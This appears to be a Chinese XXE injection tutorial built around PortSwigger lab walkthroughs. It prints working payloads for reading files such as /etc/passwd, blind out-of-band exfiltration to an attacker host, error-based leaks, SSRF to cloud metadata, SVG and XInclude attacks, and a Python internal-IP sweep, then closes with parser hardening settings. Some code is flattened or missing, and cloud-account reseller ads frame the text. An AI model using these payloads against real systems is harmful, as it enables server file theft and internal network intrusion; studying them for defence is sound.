网络安全实战从 0 到 1 彻底掌握 XXE

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6

0x01 什么是 XXE

个人认为XXE 可以归结为一句话构造恶意 DTD

介绍 XXE 之前我先来说一下普通的 XML 注入这个的利用面比较狭窄如果有的话应该也是逻辑漏洞。

既然能插入 XML 代码那我们肯定不能善罢甘休我们需要更多于是出现了 XXE。

XML 外部实体注入全称为 XML external entity injection某些应用程序允许 XML 格式的数据输入和解析可以通过引入外部实体的方式进行攻击。

我们之前在0x01当中所讲的例子均为内部实体但是实体实际上可以从外部的 dtd 文件中引用我们看下面的代码示例代码

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]><creds>    <user>&xxe;</user>    <pass>mypass</pass></creds>

复制代码

这样对引用资源所做的任何更改都会在文档中自动更新,非常方便方便永远是安全的敌人

当然还有一种引用方式是使用 引用公用 DTD 的方法语法如下

<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

复制代码

这个在我们的攻击中也可以起到和 SYSTEM 一样的作用

重点二

我们上面已经将实体分成了两个派别内部实体和外部外部但是实际上从另一个角度看实体也可以分成两个派别通用实体和参数实体别晕。。

1.通用实体

用 &实体名; 引用的实体他在 DTD 中定义在 XML 文档中引用

示例代码

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> <updateProfile>    <firstname>Joe</firstname>    <lastname>&file;</lastname>    ... </updateProfile>

复制代码

2.参数实体

(1)使用% 实体名(这里面空格不能少) 在 DTD 中定义并且只能在 DTD 中使用%实体名;引用(2)只有在 DTD 文件中参数实体的声明才能引用其他实体(3)和通用实体一样参数实体也可以外部引用

示例代码

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> %an-element; %remote-dtd;

复制代码

参数实体在我们 Blind XXE 中起到了至关重要的作用

【一一帮助安全学习所有资源获取处一一】①网络安全学习路线②20 份渗透测试电子书③安全攻防 357 页笔记④50 份安全攻防面试指南⑤安全红队渗透工具包⑥信息收集 80 条搜索语法⑦100 个漏洞实战案例⑧安全大厂内部视频资源⑨历年 CTF 夺旗赛题解析

0x02 XXE 的危害

1.像上文那个 file://xxx 的很明显可以造成敏感数据泄露。

2.可以利用 XXE 执行 SSRF 攻击。

3.利用盲 XXE 将泄露数据外带通过报错信息检索数据。

4.XXE 与文件上传结合造成 getshell。

我们后续慢慢看 XXE 的危害。

0x04 XXE 几种攻击方式学习

1. 通过 File 协议进行文件读取

示例代码

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> <updateProfile>    <firstname>Joe</firstname>    <lastname>&file;</lastname>    ... </updateProfile>

复制代码

这里的 firstname 以及 lastname 都是在 XML 文件中解析的我们尝试自己构造 payload 的话可以是这样

<?xml version='1.0'?><!DOCTYPE any[<!ENTITY test SYSTEM "file:///etc/passwd">]><comment><text>&test;</text></comment>

复制代码

test -> "file:///etc/passwd" 通俗易懂

我们依靠一道靶场来加强一下感受

Lab: Exploiting XXE using external entities to retrieve files

题意通过 XXE 注入爆出/etc/passwd的内容

进入靶场之后先点击任意一个商品 - "view details"再 Check stock 并抓包。

这里的 productId 以及 storeId 是通过 XML 的形式传进来的尝试通过 File 协议进行文件读取

payload

<?xml version='1.0'?><!DOCTYPE any[<!ENTITY test SYSTEM "file:///etc/passwd">]><stockCheck><productId>&test;</productId><storeId>4</storeId></stockCheck>

复制代码

2. XXE 盲注

所谓盲注就是无回显

XXE 盲注的一般思路需要使用第三方平台协助攻击。

(1) 基本盲注

以 Port 靶场为例。

Lab: Blind XXE with out-of-band interaction via XML parameter entities

payload

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://d0eh504fzx1hdqnbch9xrbfe056vuk.burpcollaborator.net"> %xxe; ]><stockCheck>  <productId>    &xxe;  </productId>  <storeId>    1  </storeId></stockCheck>

复制代码

(2) 多个 DTD 的调用攻击

这里以 PHP 代码为例进行说明

xml.php

<?phplibxml_disable_entity_loader (false);$xmlfile = file_get_contents('php://input');$dom = new DOMDocument();$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ?>

复制代码

直接上 payload并用 payload 加以理解

<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://ip/test.dtd">%remote;%int;%send;]

复制代码

这是我们对要进行渗透的 payload有三个参数%remote, %int, %send后面接的网站 http://ip/test.dtd 是我们挂在服务器/第三方网站的恶意 DTD。我们在这个第三方网站的恶意 DTD 中添加第二层恶意 DTD

test.dtd

接着%int去调用 test.dtd 当中的 file这里稍微慢一点分析一下% int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;也就是 %file 在前面被定义而 %file 则是恶意读取了文件这里可以替换成 /etc/passwd 这类。

如此一来%int 成为了这个网站的恶意 DTD在 %int 里面定义了一个 %send 的变量名称。由此最后一个调用的参数%send就相当于我们在上面一个案例中的基础 payload

<?xml version='1.0'?><!DOCTYPE send[<!ENTITY test SYSTEM 'http://ip:9999?p=file:///etc/passwd;'>]><comment><text>&send;</text></comment>

复制代码

这样我们三层的 payload 经过抽丝剥茧变成了一层简单的 payload。接下来我们来看一道简单的 Port 靶场上的盲注

Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD

题目要求我们爆出 /etc/hostname 的文件

依旧是在 Stock 界面进行抓包同样是 XML 形式

Port 里面的渗透测试是给我们第三方的服务器的也就是 exploit server但是在真正的渗透测试中如果要测盲注的话还是需要自己的服务器的。

按照之前的思路进行多层恶意 DTD 的构造并把这个恶意 DTD 挂在第三方服务器上面。

这里点 Store因为存储之后就等于你在你自己的服务器上面有了这个恶意的 DTD一会儿复用即可。恶意 DTD 的 URL 我放在下面每个人进靶场都是不一样的

URL: https://exploit-acbc1f081e35bba3c0a7180f0145001b.web-security-academy.net/exploit

成功我们 exploit 的/etc/hostname在 GET 请求参数中

(3) 报错型盲注

报错型注入是基于 "多个 DTD 的调用攻击"

攻击思路和 "多个 DTD 的调用攻击" 大部分一致稍有不同

evil.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'file:///invalid/%file;'>"> %eval; %exfil;

复制代码

攻击的 payload

<!DOCTYPE foo [<!ENTITY % [xxe](https://portswigger.net/web-security/xxe) SYSTEM "YOUR-DTD-URL"> %xxe;]>

复制代码

剖析一下

先调用&xxe;&xxe;去调用上面的恶意 DTD恶意 DTD 调用了file:///etc/passwd这一操作这一操作又被&eval中的内容又会在&exfil中的'file:///invalid/%file;'所调用。但是 invalid/%file 后面的内容一定是报错的这个报错消息反而会被带出来。

这也就是 XXE 盲注中的报错注入

Lab: Exploiting blind XXE to retrieve data via error messages

根据上述的方法先在 exploit server 中投放恶意 DTD再在抓包界面进行调用第三方服务器上的 DTD便可造成报错注入。

3. 利用 XXE 执行 SSRF

书说上文的 file 协议

我们刚刚都只是做了一件事那就是通过 file 协议读取本地文件或者是通过 http 协议发出请求这其实非常类似于 SSRF 因为他们都能从服务器向另一台服务器发起请求。

我们如果将远程服务器的地址换成某个内网的地址比如 192.168.0.10:8080是不是也能实现 SSRF 同样的效果呢

没错XXE 其实也是一种 SSRF 的攻击手法因为 SSRF 其实只是一种攻击模式利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。

新的利用方式

不能将眼光局限于 file 协议我们必须清楚地知道在何种平台我们能用何种协议。

我们的 payload 一般长这样

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://对方的内网IP"> ]><test>  &xxe;</test>

复制代码

当我们无法确定对方的具体 IP 时可以通过 EXP 的方式进行探测。这里借用 K0rz3n 师傅的 EXP

内网 IP 爆破
import requestsimport base64#Origtional XML that the server accepts#<xml>#    <stuff>user</stuff>#</xml>def build_xml(string):    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""    xml = xml + "\r\n" + """<xml>"""    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""    xml = xml + "\r\n" + """</xml>"""    send_xml(xml)def send_xml(xml):    headers = {'Content-Type': 'application/xml'}    x = requests.post('存在 XXE 的 URL', data=xml, headers=headers, timeout=5).text     coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value    print coded_string#   print base64.b64decode(coded_string)for i in range(1, 255):    try:        i = str(i)        ip = '10.0.0.' + i # 对应的内网 IP 地址        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'        print string        build_xml(string)    except:continue

复制代码

内网端口爆破

端口的爆破可以使用 Burpsuite 来完成

比如我们传入

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE data SYSTEM "http://127.0.0.1:515/" [<!ELEMENT data (#PCDATA)>]><data>4</data>

复制代码

对端口号添加引用符放置于 Burpsuite Intruder 当中爆破。

靶场Lab: Exploiting XXE to perform SSRF attacks

常规抓包

构造 payload

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]><stockCheck>  <productId>    &xxe;  </productId>  <storeId>    1  </storeId></stockCheck>

复制代码

这里 169.254.169.254 是对方服务器的 IP

发包之后回显是 400告诉我们 "Invalid product ID: latest"再进一步添加接口。

一步步添加接口直至出现回显数据为止这种 SSRF 只能够读取到文件个人认为危害性一般。

4. XXE 与文件上传结合

(1) 使用 svg 上传图片

SVG 图片是一种基于 XML 语法的图像格式是一种矢量图。

那么我们结合文件上传的功能可以在 SVG 中编辑 XML 语句从而达到 XXE 的攻击效果。

一般的 payload

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <text font-size="16" x="0" y="16"> &xxe; </text></svg>

复制代码

这样一来我们想要知道的信息就能够被暴露在上传的图片当中也就是此 SVG 图片中。

Lab: Exploiting XXE via image file upload

前往 blog 的评论区界面先事先创建好 1.svg并在 SVG 文件当中编辑如下作为我们的 payload

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <text font-size="16" x="0" y="16"> &xxe; </text></svg>

复制代码

上传后我们的 SVG 图片中突然多了些许文字点进去查看即可解题。

(2) 利用 jar:// 协议的攻击

jar:// 协议的格式

jar:{url}!{path}

复制代码

实例

jar:http://host/application.jar!/file/within/the/zip! 后面就是其需要从中解压出的文件

复制代码

jar 协议处理文件的过程

(1) 下载 jar/zip 文件到临时文件中(2) 提取出我们指定的文件(3) 删除临时文件

因为在 java 中 file:/// 协议可以起到列目录的作用所以我们能用 file:/// 协议配合 jar:// 协议使用

那我们怎么找到这个临时的文件夹呢不用想肯定是通过报错的形式展现如果我们请求的

jar:http://localhost:9999/jar.zip!/1.php

复制代码

既然找到了临时文件的路径我们就要考虑怎么使用这个文件了或者说怎么让这个文件能更长时间的停留在我们的系统之中我想到的方式就是 sleep()但是还有一个问题因为我们要利用的时候肯定是在文件没有完全传输成果的时候因此为了文件的完整性我考虑在传输前就使用 hex 编辑器在文件末尾添加垃圾字符这样就能完美的解决这个问题。

5. 利用 XInclude 攻击

利用 XInclude 攻击的方式比起最粗暴的定义DOCTYPE来说更加含蓄些许当我们无法直接定义DOCTYPE的时候才会转而向 XInclude 攻击且要求后端采用的是 SOAP 协议。

先说说 SOAP 协议吧也不难理解。

SOAP 协议在接收到请求后SOAP 消息必须以 XML 文档的形式返回所以要以 SOAP 协议作为后端的 Web 界面才会存在 XXE 的隐患。

XInclude 攻击的 payload

<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>

复制代码

不同的是这里我们被禁止定义DOCTYPE所以要对 Web 元素下手。

Lab: Exploiting XInclude to retrieve files

6. 别样的利用方式复用本地 DTD

这种攻击手段一般是源于服务器与域名之间存在防火墙导致数据无法带出。

利用出发点由于许多包含 DTD 文件的常见 CMS 都是开源的我们需要寻找要攻击的服务器上的 DTD 文件。

这个方法只需要知道本地 DTD 文件的路径并且在该 DTD 中定义了实体变量并且进行了引用。

比如在 ubuntu16.04 中我使用全局搜索得到以下的一些原生 dtd 文件

//find / name "*.dtd"/usr/share/sgml/metacity-common/metacity-theme.dtd/usr/share/sgml/dtd/xml-core/catalog.dtd/usr/share/sgml/gconf/gconf-1.0.dtd/usr/share/gdb/syscalls/gdb-syscalls.dtd/usr/share/djvu/pubtext/DjVuOCR.dtd/usr/share/djvu/pubtext/DjVuMessages.dtd/usr/share/djvu/pubtext/DjVuXML-s.dtd/usr/share/avahi/avahi-service.dtd/usr/share/glib-2.0/schemas/gschema.dtd/usr/share/X11/xkb/rules/xkb.dtd/usr/share/doc/libxml-parser-perl/examples/ctest.dtd/usr/share/xml/schema/xml-core/tr9401.dtd/usr/share/xml/schema/xml-core/catalog.dtd/usr/share/gtksourceview-3.0/language-specs/language.dtd/usr/share/yelp/dtd/docbookx.dtd/usr/share/mobile-broadband-provider-info/serviceproviders.2.dtd/usr/share/libgweather/locations.dtd/opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd

复制代码

这里使用 sip-app_1_0.dtd 为例内容如下。

<!ENTITY % condition "and | or | not | equal | contains | exists | subdomain-of"> <!ELEMENT pattern (%condition;)>

复制代码

构造 payload

<?xml version="1.0" ?><!DOCTYPE message [    <!ENTITY % local_dtd SYSTEM "file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd">    <!ENTITY % condition 'aaa)>        <!ENTITY % file SYSTEM "file:///etc/passwd">        <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">        %eval;        %error;        <!ELEMENT aa (bb'>    %local_dtd;]>

复制代码

这样依赖我们在调用&local_dtd的时候会对 condition 实体进行引用接着会将 condition 内容替换进来。在复用本地 DTD 文件之后可以重新定义该文件中的一些参数实体引用从而进一步构造 payload。

这么干讲还是有点太抽象了我们看一道靶场体验一下。

Lab: Exploiting XXE to retrieve data by repurposing a local DTD

题目要求我们获得 /etc/passwd 的内容并且告诉了我们本地 DTD 的路径以及实体类的名称。

直接构造 payload

<!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval;%error; '> %local_dtd; ]>

复制代码

剖析 payload

这里我们调用了本地的 dockbookx.dtd在调用本地的 dockbookx.dtd 的同时复写了 ISOamso 这一实体类ISOamso 被调用的时候就执行了我们的恶意命令从而达到读取文件的效果。

0x05 XXE 漏洞的防御

禁用外部实体

这种方式在不同语言中不一样

PHP

libxml_disable_entity_loader(true);

复制代码

JAVA

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);.setFeature("http://xml.org/sax/features/external-general-entities",false).setFeature("http://xml.org/sax/features/external-parameter-entities",false);

复制代码

Python

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

复制代码

禁用外部实体是防御 XXE 最有效的方式

阿里云国内75折 回扣 微信号:monov8
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6